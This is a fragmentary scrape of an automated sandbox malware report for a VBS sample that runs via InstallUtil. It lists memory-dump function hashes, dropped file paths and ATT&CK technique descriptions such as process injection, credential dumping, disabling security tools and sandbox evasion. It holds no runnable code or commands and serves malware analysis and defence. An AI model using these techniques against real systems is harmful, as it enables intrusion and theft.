Instruction Fuzzy Hash: 5BC04C30A59119C7F765C614D98E7EE7B73EB40200F100563F58792384DA64D9C28A06

Function 05DB215C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b376623c79772c6d3f1b52cfb74d513233ace62ab7dc06e7fd1937f4b3b63c1c
Instruction ID: 6e07ed0c21d687a480f3dbff4f919a512091c03f857dcd13915a24f6e6db6bb1
Opcode Fuzzy Hash: b376623c79772c6d3f1b52cfb74d513233ace62ab7dc06e7fd1937f4b3b63c1c
Instruction Fuzzy Hash: 94C00274622114CBEB595B75A51D1ED7EB2E744305B401456F44BC2341DD3485404B05

Function 053E1571 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1504721041.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a59cd3075cfa095ebd7dee9175ea28bb92354134834cb39d19dbda94601af58
Instruction ID: 05ad78c5a76788e0d6b2caa98d8081a2dd8baef43ff9fd59d51243a56a43183e
Opcode Fuzzy Hash: 7a59cd3075cfa095ebd7dee9175ea28bb92354134834cb39d19dbda94601af58
Instruction Fuzzy Hash: 4AB012302080044F8244D6D4E441814B355DBC4218314C0ADE80CCB202CB33DC0385C0

Function 053ED987 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1504721041.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f1d53d24bd8af665af7309af60a2ee15125107cb4e19611d0ddc0df1feeb0c
Instruction ID: cf802f891ec754829976be5a72d038561f20b3919d4fed89492bf838f78809ce
Opcode Fuzzy Hash: 24f1d53d24bd8af665af7309af60a2ee15125107cb4e19611d0ddc0df1feeb0c
Instruction Fuzzy Hash: 73B09237B00019968A00D688E9504DCBB30DA94232F404032D201620008630156A8664

Function 05FFF3D0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1510607496.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ab4bbdd17a120ddc1ef3c4cf224515beb75f8373d4b4482147fda78e6e90976
Instruction ID: 20159973dc6c4478fa717a34ac84a2881d4813b9dc5cbab7339b5de6a68ee492
Opcode Fuzzy Hash: 8ab4bbdd17a120ddc1ef3c4cf224515beb75f8373d4b4482147fda78e6e90976
Instruction Fuzzy Hash: 0DB01231250208CFC300DB6CE444C0033FCAF4DA1431000D0F10C8B331C721FC008A40

Function 05FF762C Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1510607496.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d624f68a007615fb9ee6ba5cfb02db4af681bac590b06becbbad3cc0cdaf2e2a
Instruction ID: f4d463ebb7be9053cc459d61b8b868bde3183a14f32636ec8f17b53526e5c5a1
Opcode Fuzzy Hash: d624f68a007615fb9ee6ba5cfb02db4af681bac590b06becbbad3cc0cdaf2e2a
Instruction Fuzzy Hash: A3C09B76E46150CFD3158A50C1142D53F769F7A310F4D5092D806637D2D9584D40CB53

Function 05540F32 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060dcdcb14a3957e74908ab9d0e34352cedbafcf77888ad2721218bb8242104e
Instruction ID: 3268f2d7fe09b95067c22335b1fc0409188c4006180292150fa6d7f8fe5af327
Opcode Fuzzy Hash: 060dcdcb14a3957e74908ab9d0e34352cedbafcf77888ad2721218bb8242104e
Instruction Fuzzy Hash: C1C09B315055158BD714D721D854795772B6740308F014560500E5B2A6DF706D55CF81

Function 05543B30 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347b607cd2c0fa92723b3cacb91ff1275984c3369f00c424a4dca3ce342d15fc
Instruction ID: 6d8b0cd166311be071067a14ec34d86b7dc754c6005f1050701ad12714c60ea0
Opcode Fuzzy Hash: 347b607cd2c0fa92723b3cacb91ff1275984c3369f00c424a4dca3ce342d15fc
Instruction Fuzzy Hash: 1EA02230082B0C828A00F2B03202020338F080022838000BA820E0AA200C3BE0A28888

Function 05DB72D0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80f03259e9e77211487509bbb7843d493b740483fff6c3552515ba6bc47c4e19
Instruction ID: d9b50a291055998beb3499cec1f616878002abc625c1c26619bd29d959197df8
Opcode Fuzzy Hash: 80f03259e9e77211487509bbb7843d493b740483fff6c3552515ba6bc47c4e19
Instruction Fuzzy Hash: B1A022300C2B0C828A0032F83200020338C0C0030C3C000B8820C08A200C33E0A288A0

Function 05543F70 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936a97420035fd804da7b21b52af22398015c24ab8eb42c62aaf4754466437ba
Instruction ID: 230f4248028a3e9845887870683cdf2e5db5f586d1f76b2cdf7599a44d30f3a0
Opcode Fuzzy Hash: 936a97420035fd804da7b21b52af22398015c24ab8eb42c62aaf4754466437ba
Instruction Fuzzy Hash: E490023105460C8B554067A5750A5557B5C9544615BC00451B60E459015E55A41145D9

Function 05DBD8E0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067cd2221a40df0d0024ed7f185edb1518a41f771523c7a25dbf5a4664c6a86f
Instruction ID: 98e4c0e02f4613d581d807d92211f8040defa0a4856b99400b706ad2212dd8fa
Opcode Fuzzy Hash: 067cd2221a40df0d0024ed7f185edb1518a41f771523c7a25dbf5a4664c6a86f
Instruction Fuzzy Hash: FB90023105465C8B46542795741A6957B5CB548915BC40051B50D415499F6564508595

Function 05DB7A40 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f71e0c2f124e893617047352143fff243d95bf0ecd2aa7efd5f098cd22d3db8
Instruction ID: 6286068a157ab6d762097efbeead8c803533f3033d606dce689e127c82f3e41e
Opcode Fuzzy Hash: 7f71e0c2f124e893617047352143fff243d95bf0ecd2aa7efd5f098cd22d3db8
Instruction Fuzzy Hash: 6C90023105561C8B45543799780A595FB9CD5446157C05051B60D419465E657450C5D5

Function 05DB7B30 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58e51e70ae605fae552ef53befe1a962fd7f30470137f10a876136ad6ef1c7d
Instruction ID: e138da9c46f568e6416f470e7560622560072469a1aa4bea0c4d0699f8c17e8a
Opcode Fuzzy Hash: c58e51e70ae605fae552ef53befe1a962fd7f30470137f10a876136ad6ef1c7d
Instruction Fuzzy Hash: E890023105461C8B45542795744B5D57B9CD5845767C01451B50D425015E55745146D5

Function 05DBD320 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e63953028facf15a3bc8fd84a7b657f5483885c17d81ec8c0f29f8146f761bf
Instruction ID: e33f2504e9b0ab752d04b8732fb047d2a8fa78bb27204f7363bf644f614ae76c
Opcode Fuzzy Hash: 7e63953028facf15a3bc8fd84a7b657f5483885c17d81ec8c0f29f8146f761bf
Instruction Fuzzy Hash: 0090023105461C8F4A542795750E5957F5C9A48925BC00055B90D455415E5664504595

Function 05FFEDA0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1510607496.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c862ab2f2e32eda50798e8291897720ada5ecacd625da0fa4c776fa27d884b
Instruction ID: d95caefffe6ca075e996ca00d21880ebc37b7cd1dcf22d0269527f9c0e9b20f4
Opcode Fuzzy Hash: 68c862ab2f2e32eda50798e8291897720ada5ecacd625da0fa4c776fa27d884b
Instruction Fuzzy Hash: 4890023105471C9B45546796794B5AA7B5C95449157D00051B50D415055E556C104995

Function 05FFC610 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1510607496.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11fd9075e1e34dc4a23ed3e9907a6458d313aa89a5745453ae6cb5aca9926905
Instruction ID: 30b80cbdccfbb9692c11cd150b1d6edd301aa28022e13bf26df1b8f823af5a0d
Opcode Fuzzy Hash: 11fd9075e1e34dc4a23ed3e9907a6458d313aa89a5745453ae6cb5aca9926905
Instruction Fuzzy Hash: 3D90023109465C9B555427D6744F5E97B5C9A445A67C00051B50D416015E55685049D5

Function 05DB3DAB Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b930565917e040ca00f7839aa5fb52020adbe7ce42a4d4a97956483f99138ec
Instruction ID: 239845032b3791710c19ff7fe2877f286281e52f5e9baa38d3f34dc3af636b28
Opcode Fuzzy Hash: 1b930565917e040ca00f7839aa5fb52020adbe7ce42a4d4a97956483f99138ec
Instruction Fuzzy Hash: 0EA00134658118DBE71A9A54E95E6AE7B23EB44211F410126B983922989A649982CA01

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FileCopy.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gphzvc5t.glg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5xirths.g21.ps1

C:\Users\user\Desktop\FileCopy.vbs.exe

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Statistics

Windows Analysis Report
FileCopy.vbs

Function 09C849C0 Relevance: 2.6, Strings: 1, Instructions: 1335
COMMON

Function 09D857E0 Relevance: 1.9, Strings: 1, Instructions: 616
COMMON

Function 09D88C9B Relevance: 1.6, APIs: 1, Instructions: 107
nativeCOMMON

Function 09D88CA0 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Function 09C8BC70 Relevance: 3.8, Strings: 3, Instructions: 39
COMMON

Function 09D89C50 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Function 09D8AEA9 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Function 09D8AEB0 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Function 09D8ABB0 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Function 09D8ABAC Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Function 09D58840 Relevance: 1.6, APIs: 1, Instructions: 100
memoryCOMMON

Function 09D58848 Relevance: 1.6, APIs: 1, Instructions: 98
memoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre